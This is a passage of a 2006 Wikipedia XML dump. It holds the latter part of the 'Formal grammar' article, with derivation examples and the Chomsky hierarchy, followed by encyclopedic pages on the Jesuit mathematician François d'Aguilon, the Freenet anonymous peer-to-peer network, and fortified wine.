A generative grammar consists of a set of rules for transforming strings.  To generate a string in the language, one begins with a string consisting of only a single &quot;start&quot; symbol, and then successively applies the rules (any number of times, in any order) to rewrite this string.  The language consists of all the strings that can be generated in this manner.  Any particular sequence of legal choices taken during this rewriting process yields one particular string in the language, and if there are multiple different ways of generating a single string, then the grammar is said to be [[ambiguous grammar|ambiguous]].

For example, assume the alphabet consists of '&lt;math&gt;a&lt;/math&gt;' and '&lt;math&gt;b&lt;/math&gt;', the start symbol is '&lt;math&gt;S&lt;/math&gt;' and we have the following rules:

: 1. &lt;math&gt;S \longrightarrow aSb&lt;/math&gt;
: 2. &lt;math&gt;S \longrightarrow ba&lt;/math&gt;

then we start with &quot;&lt;math&gt;S&lt;/math&gt;&quot;, and can choose a rule to apply to it. If we choose rule 1, we replace '&lt;math&gt;S&lt;/math&gt;' with '&lt;math&gt;aSb&lt;/math&gt;' and obtain &quot;&lt;math&gt;aSb&lt;/math&gt;&quot;. If we choose rule 1 again, we replace '&lt;math&gt;S&lt;/math&gt;' with '&lt;math&gt;aSb&lt;/math&gt;' and obtain &quot;&lt;math&gt;aaSbb&lt;/math&gt;&quot;. This process is repeated until we only have symbols from the alphabet (i.e., '&lt;math&gt;a&lt;/math&gt;' and '&lt;math&gt;b&lt;/math&gt;'). Finishing off our example, if we now choose rule 2, we replace '&lt;math&gt;S&lt;/math&gt;' with '&lt;math&gt;ba&lt;/math&gt;' and obtain &quot;&lt;math&gt;aababb&lt;/math&gt;&quot;, and are done. We can write this series of choices more briefly, using symbols: &lt;math&gt;S \longrightarrow aSb \longrightarrow aaSbb \longrightarrow aababb&lt;/math&gt;. The language of the grammar is the set of all the strings that can be generated using this process: &lt;math&gt;\left \{ba, abab, aababb, aaababbb, ...\right \}&lt;/math&gt;.

=== Formal definition ===
In the classic formalization of generative grammars first proposed by [[Noam Chomsky]] in the [[1950s]], a grammar ''G'' consists of the following components:
* A finite set &lt;math&gt;N&lt;/math&gt; of ''nonterminal symbols''.
* A finite set &lt;math&gt;\Sigma&lt;/math&gt; of ''terminal symbols'' that is [[disjoint]] from &lt;math&gt;N&lt;/math&gt;.
* A finite set &lt;math&gt;P&lt;/math&gt; of ''production rules'' where a rule is of the form
:: string in &lt;math&gt;(\Sigma \cup N)^{*} \longrightarrow&lt;/math&gt; string in &lt;math&gt;(\Sigma \cup N)^{*} &lt;/math&gt; 

:(where &lt;math&gt;{}^{*}&lt;/math&gt; is the [[Kleene star]] and &lt;math&gt;\cup&lt;/math&gt; is  [[union (set theory)|union]]) with the restriction that the left-hand side of a rule (i.e., the part to the left of the &lt;math&gt;\longrightarrow&lt;/math&gt;) must contain at least one nonterminal symbol.
* A symbol &lt;math&gt;S&lt;/math&gt; in &lt;math&gt;N&lt;/math&gt; that is indicated as the ''start symbol''. 
Usually such a formal grammar &lt;math&gt;G&lt;/math&gt; is simply summarized as the quad-tuple &lt;math&gt;(N, \Sigma, P, S)&lt;/math&gt;.

The ''language'' of a formal grammar &lt;math&gt;G = (N, \Sigma, P, S)&lt;/math&gt;, denoted as &lt;math&gt;\boldsymbol{L}(G)&lt;/math&gt;, is defined as all those strings over &lt;math&gt;\Sigma&lt;/math&gt; that can be generated by starting with the start symbol &lt;math&gt;S&lt;/math&gt; and then applying the production rules in &lt;math&gt;P&lt;/math&gt; until no more nonterminal symbols are present.

=== Example ===
''For these examples, formal languages are specified using [[set-builder notation]].''

Consider, for example, the grammar &lt;math&gt;G&lt;/math&gt; with &lt;math&gt;N = \left \{S, B\right \}&lt;/math&gt;, &lt;math&gt;\Sigma = \left \{a, b, c\right \}&lt;/math&gt;, &lt;math&gt;P&lt;/math&gt; consisting of the following production rules

: 1. &lt;math&gt;S \longrightarrow aBSc&lt;/math&gt;
: 2. &lt;math&gt;S \longrightarrow abc&lt;/math&gt;
: 3. &lt;math&gt;Ba \longrightarrow aB&lt;/math&gt;
: 4. &lt;math&gt;Bb \longrightarrow bb &lt;/math&gt;

and the nonterminal symbol &lt;math&gt;S&lt;/math&gt; as the start symbol. Some examples of the derivation of strings in &lt;math&gt;\boldsymbol{L}(G)&lt;/math&gt; are: 

* &lt;math&gt;\boldsymbol{S} \longrightarrow (2) abc&lt;/math&gt;
* &lt;math&gt;\boldsymbol{S} \longrightarrow (1) aB\boldsymbol{S}c \longrightarrow (2) a\boldsymbol{Ba}bcc \longrightarrow (3) aa\boldsymbol{Bb}cc \longrightarrow (4) aabbcc&lt;/math&gt;
* &lt;math&gt;\boldsymbol{S} \longrightarrow (1) aB\boldsymbol{S}c \longrightarrow (1) aBaB\boldsymbol{S}cc \longrightarrow (2) a\boldsymbol{Ba}Babccc \longrightarrow (3) aaB\boldsymbol{Ba}bccc\longrightarrow (3) aa\boldsymbol{Ba}Bbccc &lt;/math&gt;&lt;math&gt; \longrightarrow (3) aaaB\boldsymbol{Bb}ccc \longrightarrow (4) aaa\boldsymbol{Bb}bccc \longrightarrow (4) aaabbbccc&lt;/math&gt;

(where the used production rules are indicated in brackets and the replaced part is each time indicated in bold).

It is clear that this grammar defines the language &lt;math&gt;\left \{ a^{n}b^{n}c^{n} | n &gt; 0 \right \}&lt;/math&gt; where &lt;math&gt;a^{n}&lt;/math&gt; denotes a string of n &lt;math&gt;a&lt;/math&gt;'s. Thus, the entire language consists of any positive number of 'a's, followed by the same number of 'b's followed by the same number of 'c's.

Generative formal grammars are identical to [[Lindenmayer system]]s (L-systems), except that L-systems are not affected by a distinction between ''terminals'' and ''nonterminals'', L-systems have restrictions on the order in which the rules are applied, and L-systems can run forever, generating an infinite sequence of strings.  Typically, each string is associated with a set of points in space, and the &quot;output&quot; of the L-system is defined to be the limit of those sets.

=== The Chomsky Hierarchy ===
When [[Noam Chomsky]] first formalized generative grammars in the [[1950s]], he classified them into four types now known as the [[Chomsky hierarchy]].  The difference between these types is that they have increasingly strict production rules and can express fewer formal languages. Two important types are ''[[context-free grammar]]s'' and ''[[regular grammar]]s''. The languages that can be described with such a grammar are called ''[[context-free language]]s'' and ''[[regular language]]s'', respectively. Although much less powerful than unrestricted grammars, which can in fact express any language that can be accepted by a [[Turing machine]], these two restricted types of grammars are most often used because [[parser]]s for them can be efficiently implemented. For example, for context-free grammars there are well-known algorithms to generate efficient [[LL parser]]s and [[LR parser]]s.

==== Context-free grammars ====
In [[context-free grammar]]s, the left hand side of a production rule may only be formed by a single non-terminal symbol. The language defined above is not a context-free language, but for example the language &lt;math&gt;\left \{ a^{n}b^{n} | n &gt; 0 \right \}&lt;/math&gt; (any positive number of 'a's followed by the same number of 'b's) is, as it can be defined by the grammar &lt;math&gt;G2&lt;/math&gt; with &lt;math&gt;N=\left \{S\right \}&lt;/math&gt;, &lt;math&gt;\Sigma=\left \{a,b\right \}&lt;/math&gt;, &lt;math&gt;S&lt;/math&gt; the start symbol, and the following production rules:

: 1. &lt;math&gt;S \longrightarrow aSb&lt;/math&gt;
: 2. &lt;math&gt;S \longrightarrow ab&lt;/math&gt;

==== Regular grammars ====
In [[regular grammar]]s, the left hand side is again only a single non-terminal symbol, but now the right-hand side is also restricted: It may be nothing, or a single terminal symbol, or a single terminal symbol followed by a non-terminal symbol, but nothing else. (Sometimes a broader definition is used: one can allow longer strings of terminals or single non-terminals without anything else, making languages [[syntactic sugar|easier to denote]] while still defining the same class of languages.)

The language defined above is not regular, but the language &lt;math&gt;\left \{ a^{n}b^{m} | m,n &gt; 0 \right \}&lt;/math&gt; (any positive number of 'a's followed by any positive number of 'b's, where the numbers may be different) is, as it can be defined by the grammar &lt;math&gt;G3&lt;/math&gt; with &lt;math&gt;N=\left \{S, A,B\right \}&lt;/math&gt;, &lt;math&gt;\Sigma=\left \{a,b\right \}&lt;/math&gt;, &lt;math&gt;S&lt;/math&gt; the start symbol, and the following production rules:

: 1. &lt;math&gt;S \longrightarrow aA&lt;/math&gt;
: 2. &lt;math&gt;A \longrightarrow aA&lt;/math&gt;
: 3. &lt;math&gt;A \longrightarrow bB&lt;/math&gt;
: 4. &lt;math&gt;B \longrightarrow bB&lt;/math&gt;
: 5. &lt;math&gt;B \longrightarrow \epsilon&lt;/math&gt;

In practice, regular grammars are commonly expressed using [[regular expression]]s.

==== Regular vs. Context-Free Languages ====
Aside from the differences in production rules required to generate the two languages, the key high-level difference between &lt;math&gt;\left \{ a^{n}b^{n} | n &gt; 0 \right \}&lt;/math&gt; (context-free) and &lt;math&gt;\left \{ a^{n}b^{m} | n,m &gt; 0 \right \}&lt;/math&gt; (regular) is the specification that the number of 'a's and the number of 'b's must be equal in the context-free language. Thus, any [[automata theory|automaton]] attempting to recognize the context-free language must necessarily keep track of more information than one that is attempting to recognize the regular language. The latter does not have to count the number of 'a's or 'b's, just to make sure there are more than zero of each.

For more detail, see [[context-free language]] and [[regular language]].

=== Other forms of generative grammars ===
Many extensions and variations on Chomsky's original hierarchy of formal grammars have been developed more recently, both by linguists and by computer scientists, usually either in order to increase their expressive power or in order to make them easier to analyze or [[parse]]. Of course these two goals tend to be at odds: the more expressive a grammar formalism is, the harder it is to analyze or parse using automated tools.  Some forms of grammars more recently developed include:

* [[Tree-adjoining grammar]]s increase the expressiveness of conventional generative grammars by allowing rewrite rules to operate on [[parse tree]]s instead of just strings.
* [[Affix grammar]]s and [[attribute grammar]]s allow rewrite rules to be augmented with semantic attributes and operations, useful both for increasing grammar expressiveness and for constructing practical language translation tools.

A yearly conference is devoted to formal grammars: [http://www.formalgrammar.tk]

== Analytic grammars ==
Though there is a tremendous body of literature on [[parsing]] [[algorithms]], most of these algorithms assume that the language to be parsed is initially ''described'' by means of a ''generative'' formal grammar, and that the goal is to transform this generative grammar into a working parser.  An alternative approach is to formalize the language in terms of an '''analytic grammar''' in the first place, which more directly corresponds to the structure of a [[parser]] for the language.  Examples of analytic grammar formalisms include the following:

* [http://languagemachine.sourceforge.net The Language Machine] directly implements unrestricted analytic grammars. Substitution rules are used to transform an input to produce outputs and behaviour. The system can also produce [http://languagemachine.sourceforge.net/picturebook.html the lm-diagram] which shows what happens when the rules of an unrestricted analytic grammar are being applied.
* [[Top-down parsing language]] (TDPL): a highly minimalist analytic grammar formalism developed in the early [[1970s]] to study the behavior of [[top-down parser]]s.
* [[Parsing expression grammar]]s (PEGs): a more recent generalization of TDPL designed around the practical [[expressiveness]] needs of [[programming language]] and [[compiler]] writers.
* [[Link grammar]]s: a form of analytic grammar designed for [[linguistics]], which derives syntactic structure by examining the positional relationships between pairs of words.

==See also==
* [[Concrete syntax tree]]
* [[Abstract syntax tree]]
* [[Ambiguous grammar]]

{{Formal languages and grammars}}

[[Category:Formal languages]]

[[cs:Formální gramatika]]
[[de:Formale Grammatik]]
[[es:Gramática formal]]
[[fr:Grammaire formelle]]
[[it:Grammatica formale]]
[[ja:形式文法]]
[[pl:Gramatyka formalna]]
[[zh:形式文法]]</text>
    </revision>
  </page>
  <page>
    <title>François d'Aguilon</title>
    <id>10996</id>
    <revision>
      <id>36973206</id>
      <timestamp>2006-01-27T18:28:13Z</timestamp>
      <contributor>
        <username>Julien Tuerlinckx</username>
        <id>171729</id>
      </contributor>
      <minor />
      <comment>rmv 'i' from name</comment>
      <text xml:space="preserve">'''François d'Aguilon''' (also d'Aguillon or Aguilonius) ([[1546]] &amp;ndash; [[1617]]) was a [[Belgian]] [[mathematician]] and [[physicist]].  He was born in [[Brussels]], Belgium and became a [[Society of Jesus|Jesuit]] in [[1586]].  In [[1611]], he started a special school of [[mathematics]], in [[Antwerp]], which intended to perpetuate the mathematical research and study in the Jesuit society.  This school produced geometers like [[André Tacquet]] and [[Jean-Charles de la Faille]].  His book, ''Opticorum Libri Sex philosophis juxta ac mathematicis utiles'' (Six Books of Optics, useful for philosophers and mathematicians alike), published in Antwerp in [[1613]], was illustrated by famous painter [[Peter Paul Rubens]].  Furthermore, it inspired the works of [[Girard Desargues|Desargues]] and [[Christiaan Huygens]] and was notable for containing the principles of [[stereographic projection]].  He died in Antwerp.

== References ==
* {{1911}}
* http://www.faculty.fairfield.edu/jmac/sj/scientists/aguilon.htm


{{mathbiostub}}
{{sci-hist-stub}}

[[Category:1546 births|Aguilon, François d']]
[[Category:1617 deaths|Aguilon, François d']]
[[Category:Belgian scientists|Aguilon, François d']]
[[Category:Belgian mathematicians|Aguilon, François d']]
[[Category:16th century mathematicians|Aguilon, François d']]
[[Category:17th century mathematicians|Aguilon, François d']]
[[Category:Jesuits|Aguilon, François d']]</text>
    </revision>
  </page>
  <page>
    <title>Freenet</title>
    <id>10997</id>
    <revision>
      <id>40678691</id>
      <timestamp>2006-02-22T06:14:19Z</timestamp>
      <contributor>
        <ip>70.224.86.96</ip>
      </contributor>
      <comment>/* Controversy */ i don't see how a category of &quot;drug-related information&quot; could be deemed controversial, especially considering all of the topics that could encompass such as drug abuse recovery</comment>
      <text xml:space="preserve">:''For other uses, see [[Freenet (disambiguation)]]''

[[Image:Freenet_screenshot_the_freedom_engine_jan06.png|thumb|right|250px|Screenshot showing a 'freesite', a freenet-hosted page. The page displayed is an indexing site called &quot;The Freedom Engine&quot;.]]

'''Freenet''' is a decentralized [[censorship]]-resistant [[peer-to-peer]] [[distributed data store]] aiming to provide electronic [[freedom of speech]] through strong [[anonymity]].  Freenet works by pooling the contributed [[bandwidth]] and storage space of member computers to allow users to anonymously publish or retrieve various kinds of information.  Freenet uses a kind of [[key based routing]] similar to a [[distributed hash table]] to locate peers' data.

Freenet is currently under development, and a ''version 1.0'' has not yet been released. Freenet is considered by many to be fundamentally different from other peer-to-peer networks; it is still somewhat more difficult to use and slower.

Although Freenet does not have integrated search function, several freesites serve as directories listing published freesites. On creating a new freesite, the author can add a listing to the directory allowing others to discover the freesite. The directory owners also periodically spider or automatically attempt to retrieve the freesites they list. One of the most famous directories is the Freedom Engine, shown opposite.

Currently, Freenet cannot be used to create or distribute dynamic content, such as content that utilizes databases and scripting. According to the Freenet Project group, such tradeoffs are expected since Freenet's primary goals are neither ease-of-use nor performance. Unlike other [[peer-to-peer]] networks, Freenet is primarily intended to combat censorship and allow people to communicate freely and with near-total anonymity.

== Purpose ==
Although many nations censor communications to different extents, they all share one commonality in that a body must decide what information to censor and what information to allow. What may be acceptable to one group of people may be considered offensive or even dangerous to another. Freenet is a network which, putatively, removes the possibility of any group imposing their beliefs or values on any other. In essence nobody is allowed to decide what is acceptable for anybody else. Tolerance for each others' values is encouraged and failing that, the user is asked to [[turn a blind eye]] to content which opposes his or her views.

== Technical design ==
The type of [[routing]] protocol Freenet uses is [[key based routing]].  While the idea emerged independently, Freenet's routing algorithm is similar to that employed by [[distributed hash table]]s (DHTs). The main differences are that Freenet nodes do not have fixed specialisations, and the routing algorithm is heuristic in nature. Therefore, it does not guarantee that it will find a given piece of data. Freenet can also be viewed as a [[small world phenomenon|small world network]].

The Freenet [[file sharing]] network is designed to be highly survivable, with all internal processes completely anonymized and decentralized across the network. The system has no central servers, is [[peer-to-peer]], and is not subject to the control of any one individual or organization. Even the designers of Freenet do not have any control over the overall system. The system is designed so that information stored in the system is encrypted and replicated across a large number of continuously-changing anonymized computers around the world. It is extremely difficult for an attacker to find out which participants are hosting a given file, since the contents of each file are encrypted, and can also be broken into sections that are distributed over many different computers. Even the participants themselves don't know what they are storing.

The end goal of the Freenet network is to store documents and allow them to be retrieved later by an associated key, as is now possible with protocols such as [[HyperText Transfer Protocol|HTTP]]. The network is implemented as a number of nodes that pass messages among themselves peer-to-peer. Typically, a host computer on the network will run the software that acts as a node, and it will connect to other hosts running that same software to form a large distributed network of peer nodes. Certain nodes will be end user nodes, from which documents will be requested and presented to the human user. But these nodes communicate with each other and with intermediate routing nodes identically&amp;mdash;there are no dedicated &quot;clients&quot; or &quot;servers&quot; on the network.

The Freenet protocol is intended to be implemented on a network with a complex network topology, such as the Internet ([[Internet Protocol]]). Each node knows only about some number of other nodes that it can reach directly (its conceptual &quot;neighbors&quot;), but any node can be a neighbor to any other; there is no hierarchy or other structure. Each document (or other message such as a document request) in Freenet is routed through the network by passing from neighbor to neighbor until reaching its destination. As each node passes a document to its neighbor, it does not know or care whether its neighbor is just another routing node forwarding information on behalf of another, whether it is the source of the document being passed, or whether it is a user node that will present the document to an end user. This is intentional, so that anonymity of both users and publishers can be protected.

Each node maintains a data store containing documents associated with keys, and a routing table associating nodes with records of their performance in retrieving different keys.

To find a document in the network given a key, a user sends a message to a node (probably one running on the same machine as the client program) requesting the document, providing it with the key. If the document is not found in the local data store, the node then finds the node in its routing table that it thinks will be able to locate the key most quickly, and forwards the request to that node, remembering that it has done so. Note that this is a change from the behavior of earlier versions of Freenet nodes: it represents the &quot;Next Generation Routing&quot; protocol. The old behavior was to remember which keys were retrieved from what nodes, and to route based on which node gave us the key closest to the one we were looking for. The effect is largely the same, but NGR, as it is called, results in better overall performance.

The node to which the request was forwarded repeats the process until either the key is found or the request passes through a set maximum of nodes, known as the &quot;Hops To Live&quot; value.   Along the route, if a node is visited more than once (and it will know this because it remembered forwarding the request the first time) then that node cuts off the loop by sending a message to the node that sent it the second request telling it to try the next-best choice, then the next-next-best, and so on.

Eventually, either the document is found or the hop limit is exceeded. The terminal node sends a reply that works its way back to the originator along the route specified by the intermediate nodes' records of pending requests. The intermediate nodes may choose to cache the document along the way. Besides saving bandwidth, this also makes documents harder to censor as there is no one &quot;source node.&quot;

Essentially, the same path-finding process is used to insert a document into the network: a request for the nonexistent document is made, and once it fails, the document is sent along the same path as the request. This ensures that documents are inserted into the network in the same place as requests will look for it. If the initial request doesn't fail, then the data already existed, and the insert &quot;collides.&quot;

Initially, each node has no information about the performance of the other nodes it knows about. This means that routing of requests will be essentially random. But since different nodes have different randomness, they will disagree about where to send a request, given a key. So the data in a newly-started Freenet will therefore be distributed somewhat randomly.

As more documents are inserted by the same node, they will begin to cluster with data items whose keys are similar, because the same routing rules are used for all of them. More importantly, as data items and requests from different nodes &quot;cross paths&quot;, they will begin to share clustering information as well.

The result is that the network will self-organize into a distributed, clustered structure where nodes tend to hold data items that are close together in key space. There will probably be multiple such clusters throughout the network, any given document being replicated numerous times, depending on how much it is used. This is a kind of &quot;[[spontaneous symmetry breaking]]&quot;, in which an initially symmetric state (all nodes being the same, with random initial keys for each other) leads to a highly asymmetric situation, with nodes coming to specialize in data that has closely related keys.

There are forces which tend to cause clustering (shared closeness data spreads throughout the network), and forces that tend to break up clusters (local caching of commonly used data). These forces will be different depending on how often data is used, so that seldom-used data will tend to be on just a few nodes which specialize in providing that data, and frequently used items will be spread widely throughout the network. This automatic mirroring counteracts the times when [[web traffic]] becomes overloaded, and due to a mature network's intelligent routing a network of size n should only require log(n) time to retrieve any given document. Freenet does not employ broadcast searches as used by [[Gnutella]] and other similar file sharing protocols.

Keys are [[hash function|hash]]es: there is no notion of [[semantic closeness]] when speaking of key closeness. Therefore there will be no correlation between key closeness and similar popularity of data as there might be if keys did exhibit some semantic meaning, thus avoiding bottlenecks caused by popular subjects.

There are two main varieties of keys in use on Freenet, the [[Content Hash Key]] (CHK) and the [[Signed Subspace Key]] (SSK).

A CHK is an [[SHA-1]] hash of a document and thus a node can check that the document returned is correct by hashing it and checking the digest against the key. This key contains the meat of the data on freenet. It carries all the binary data building blocks for the content to be delivered to the client for reassembly and decryption. The CHK is unique by nature and provides tamperproof content. A hostile node altering the data under a CHK will immediately be detected by the next node or the client. CHKs also reduce the redundancy of data since the same data will have the same CHK.

SSKs are based on [[public-key cryptography]]. Currently Freenet uses the [[Digital Signature Algorithm|DSA]] system as its [[public key infrastructure]]. Documents inserted under SSKs are signed by the inserter, and this signature can be verified by every node to ensure that the data is not tampered with. SSKs can be used to establish a verifiable [[pseudonymity|pseudonymous]] identity on Freenet, and allow for documents to be updated securely by the person who inserted them. A subtype of the SSK is the Keyword Signed Key, or KSK, in which the key pair is generated in a standard way from a simple human-readable string. Inserting a document using a KSK allows the document to be retrieved and decrypted if and only if the requester knows the human-readable string; this allows for more convenient (but less secure) [[Uniform Resource Identifier|URI]]s for users to refer to.

== Scalability ==

A [[Peer-to-peer|P2P]] network is said to be scalable if the performance of the network does not deteriorate even for very large network sizes.  The scalability of Freenet is being evaluated, but similar architectures have been shown to scale logarithmically [http://citeseer.ist.psu.edu/kleinberg00smallworld.html].

== History ==

Freenet is an enhanced [[free software]] / [[Open-source software|open source software]] implementation of the system described by [[Ian Clarke]]'s July [[1999]] paper &quot;A distributed decentralized information storage and retrieval system&quot;, written while Clarke was a student at the University of Edinburgh. Shortly after the publication of this paper, Clarke and a small number of volunteers began work on what became Freenet. By March [[2000]] version 0.1 of Freenet was ready for release. Since March 2000 Freenet has been extensively reported on in the press, albeit primarily due to its implications for [[copyright]] rather than for its wider aim of freedom of communication.

Freenet has been developed via a collaborative, open source, methodology. Clarke, originally from Ireland, worked with individuals from many other countries, in a distributed manner utilizing the Internet. Not only is Freenet itself distributed, decentralized Internet software, but the method used to develop it is also distributed and decentralized.

Reports of Freenet's use in authoritarian nations is difficult to track due to the very nature of Freenet's goals.  One group, [[Freenet-China]], has translated the Freenet software to Chinese and is distributing it within China on CD and floppy disk.

According to [[CiteSeer|Citeseer]], Ian Clarke's &quot;Freenet: A Distributed Anonymous Information Storage and Retrieval System&quot; was the most cited [[computer science]] paper of 2000.

One analysis{{ref|2}} of Freenet files conducted in the year 2000 claimed that the top 3 types of files contained in Freenet were text (37%), audio (21%), and images (14%). 59% of all the text files were drug-related, 71% of all audio files were rock music, and 89% of all images were pornographic. It is important to note the fundamental design of Freenet makes accurate analysis of its content difficult. This analysis was done several years ago from within the [[United States]], and the network has been vastly changed and expanded since it was published and many different types of content have been added.

== Current development ==
Freenet is currently undergoing a major re-write incorporating a number of fundamental changes. Version 0.7 of Freenet aims to create a scalable [[darknet]], where users only connect directly to other users they know and trust. The purpose of this change is to protect users who may be placed at risk simply by using the software, irrespective of what they are using it for.  In the new model, users will choose who they connect to, and only those users will know that they are running the software. Previous darknets, such as [[WASTE]], have been limited to relatively small disconnected networks. The core innovation in Freenet 0.7 will be to allow a globally scalable darknet, capable of supporting millions of users.  This is made possible by the fact that human relationships tend to form [[small-world network]]s, a property that can be exploited to find short paths between any two people. The work is based on a speech given at [[DEF CON|DEF CON 13]] by [[Ian Clarke|Clarke]] and Swedish mathematician [[Oskar Sandberg]].

Other modifications include switching from [[Transmission Control Protocol|TCP]] to [[User Datagram Protocol|UDP]], which allows [[UDP hole punching]] along with faster transmission of messages between peers in the network. While previously Freenet only supported the insertion and retrieval of information, Freenet 0.7 will support new modes of usage including the real-time broadcast of messages. Features planned for later versions include anonymous &quot;channels&quot; to a particular node allowing for dynamic content, searching, and [[Onion Routing]]. Applications of this range from [[Internet Relay Chat]] to [[RSS (file format)|RSS]]-feeds.

It is anticipated that Freenet 0.7 will be released in 2006.

== Controversy  ==

The same technology which allows the anonymous to communicate with a large group without the publisher's identity being revealed can also allow controversial information such as [[child pornography]] to be made available to anyone. Freenet's founders argue that only with true anonymity comes true [[freedom of speech]], and that what they view as the beneficial uses of Freenet outweigh its negative uses. 

Due to the nature of Freenet, a typical user may unknowingly host this sort of information, which may hypothetically make them subject to severe civil and criminal penalties. Freenet attempts to prevent this through &quot;[[plausible deniability]]&quot;, preventing the user himself/herself from knowing what's on his or her own node and making it difficult to determine if a piece of information is in any given node without causing the distribution of that piece of information throughout the network to change in the process. No court cases have tested any of this to date.

Some anonymous [[friend-to-friend]] (F2F) networks do allow you to control what kind of files your friends exchange with your node in order to stop them from exchanging files you disapprove of, but Freenet's &quot;deniability&quot; defence would not apply to users of these systems.

F2F prevents random people from proving that your IP address can effectively be used to get some controversial files. Freenet does not offer this protection because for efficiency reasons (path shortening) some random nodes are allowed to connect directly to your node, thus exchanging files faster, but thus knowing your IP and thus being able to prove that specific files can be obtained from your computer. However, due to Freenet's &quot;plausible deniability&quot; and the way in which Freenet redistributes files among nodes, one cannot prove that those files were placed there by the node owner or that the node owner knows what they are.

== Related tools ==
=== Freesite Insertion Wizard (FIW) ===
FIW is one of the most popular of all the Freenet tools. It is currently the best maintained insertion tool for [[freesite]]s. It is written in [[Java programming language|Java]] and provides both a terminal interface and a [[Graphical_user_interface|GUI]]. It supports the latest Freenet technologies such as containers as well.

=== Fishtools ===

Another extremely popular tool for inserting freesites. However, due to an argument, its main developer has broken off with the Freenet community, and it is no longer maintained. It is written in [[Python programming language|Python]] and it is still widely used and fairly up to date.

=== Freenet Utility for Queued Inserts and Downloads (FUQID) ===

This is a [[Microsoft Windows|Windows]]-only tool (although reports say it works under [http://www.winehq.org/ WINE] too), typically used to retrieve large splitfiles and to insert non-Freesite content such as binaries, audio, and archives. It is written in [[Delphi_programming_language|Delphi]], and it is maintained sporadically. It is generally regarded as an excellent complement to either FIW or Fishtools.

=== FCPTools ===

The [http://freenetproject.org/index.php?page=fcptools FCPTools] are command-line driven programs for inserting and retrieving files with Freenet. Included separately is FCPLib, the Freenet Client Protocol Library. The FCPTools are linked against FCPLib and serve as nice examples for using the library in Freenet client programs.

[http://freenetproject.org/index.php?page=FCPlib FCPLib] (Freenet Client Protocol Library) aims to be a [[Cross-platform|platform independent]] but natively [[Compiler|compiled]] set of [[C programming language|C]]-based functions for storing and retrieving information to and from Freenet. There are routines for storing documents to Freenet from the local disk, and other routines for moving data in memory to and from Freenet.

Everything is released under the [[GNU]] [[GNU General Public License|General Public License]].

FCPLib is now routinely compiled on the following platforms: [[Microsoft Windows]] (NT/2K/XP), [[Debian]]  [[GNU/Linux]], [[BSD]], [[Solaris Operating Environment|Solaris]], and [[Mac OS X]].

=== Freenet Tools ===
The Freenet Tools perform roughly the same tasks as FCPTools, however it does not include a client library for use in other projects. It is written in [[ANSI C]], and runs under [[Unix-like|*nix]].

=== Frost ===
[http://jtcfrost.sourceforge.net Frost] is a well-maintained and popular message board system for Freenet. It uses a [[web of trust]] concept as well as public and private keys to prevent excess [[Spam (electronic)|spam]]. It is very popular in the area of [[file sharing]] and is the most widely used Freenet messaging application. For a long time many people preferred Freenet Message Board (FMB) but it has fallen into disuse. It is written in [[Java programming language|Java]] and therefore works on any platform where a [[Java virtual machine|JVM]] is available, such as [[Microsoft Windows|Windows]], [[Mac OS X]], [[Linux]] and other [[operating system]]s.

=== Freenet Message Board (FMB) ===

The Freenet Message Board is the most branched message board software for Freenet ever coded. It is written in [[Java programming language|Java]], and the original author does not maintain it. However, the community continues to provide several branches which are generally up to date. It works on both [[Unix-like|*nix]] and [[Microsoft Windows|Windows]].

==See also==
* [[Anonymous P2P]]
* [[Crypto-anarchism]]
* [[Cypherpunk]]
* [[distributed file system]]
* [[Entropy (anonymous data store)]]
* [[Friend-to-friend]] networks
* [[GNUnet]]
* [[I2P]]
* [[Tor (anonymity network)]]

==External links==
* [http://freenetproject.org/ The Freenet Project]
* [http://wikiserver.freenethelp.org:14741/index The Freenet Help Site]
* [http://freenet-china.org/ China News on Freenet] - Site in Chinese
* [http://www.wikiuniverse.com/cgi-bin/freenet.pl FreenetWiki] - Wiki devoted to Freenet, suitable for technical discussions and content]
* {{note|2}} [http://www.openp2p.com/pub/a/p2p/2000/11/21/freenetcontent.html What's On Freenet?] - An analysis of the types of files contained in Freenet (written in [[2000]])
* [http://news.com.com/2010-1027_3-1023325.html?tag=fd_nc_1 Piracy and peer-to-peer] - An online debate between Ian Clarke, Freenet's creator, and Matt Oppenheim, the [[RIAA]]'s senior vice president of business and legal affairs
* [http://www.math.chalmers.se/%7eossa/defcon13/ DEF CON 13 darknet slides by Oskar Sandberg and Ian Clarke]
* [http://pl.atyp.us/content/tech/freenet_fiq.html Freenet Infrequently Asked Questions] - A web page expressing criticism of the Freenet project circa 2001

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  <page>
    <title>Fortified wine</title>
    <id>10998</id>
    <revision>
      <id>40123500</id>
      <timestamp>2006-02-18T08:14:18Z</timestamp>
      <contributor>
        <username>Themadchopper</username>
        <id>633190</id>
      </contributor>
      <comment>keepin' it legal</comment>
      <text xml:space="preserve">A '''fortified wine''' is a [[wine]] to which additional [[ethanol|alcohol]] has been added, most commonly in the form of [[brandy]] (a spirit distilled from wine).

The original reason for fortification was to preserve wines, as the higher alcohol level and additional sweetness (if the alcohol is added before fermentation finishes, killing the [[yeast]] and leaving [[residual sugar]]) help to preserve the wine. However now that these types of wine have been established people have developed a taste for them, even though other preservation methods exist.

Common fortified wines include:
* [[Sherry]]
* [[Port Wine|Port]]
* [[Marsala wine|Marsala]]
* [[Madeira wine|Madeira]]
* [[Vermouth]]
* [[Muscat grape#Muscat Wines|Muscat]]

Fortified wines must be distinguished from [[spirits]] made from wine. While both have increased alcohol content, spirits are the result of a process of [[distillation]]; while fortified wines have spirits added to them. Fortified wines generally have an alcohol content between that of wines and spirits.

Fortified wines are legally called ''[[dessert wine]]s'' in the U.S. but are called ''liqueur wines'' in Europe.

==American &quot;Dessert&quot; Wines==
*[[MD 20/20]]
*[[Night train]]
*[[Thunderbird_(wine) | Thunderbird]]

[[Category:Fortified wine|*]]

[[fr:Vin muté]]
[[he:יין מחוזק]]
[[is:Styrkt vín]]
[[it:Vino liquoroso]]
[[no:Sterkvin]]
[[pl:Wino wzmacniane]]</text>
    </revision>
  </page>
  <page>
    <title>Fred Hoyle</title>
    <id>11001</id>
    <revision>
      <id>42047280</id>
      <timestamp>2006-03-03T12:52:57Z</timestamp>
      <contributor>
        <username>GW Christie</username>
        <id>889802</id>
      </contributor>
      <minor />
      <comment>quasars distributed in the universe, not galaxies</comment>
      <text xml:space="preserve">[[Image:Fred_Hoyle.jpg|right|thumb|180px|Sir Fred Hoyle]]
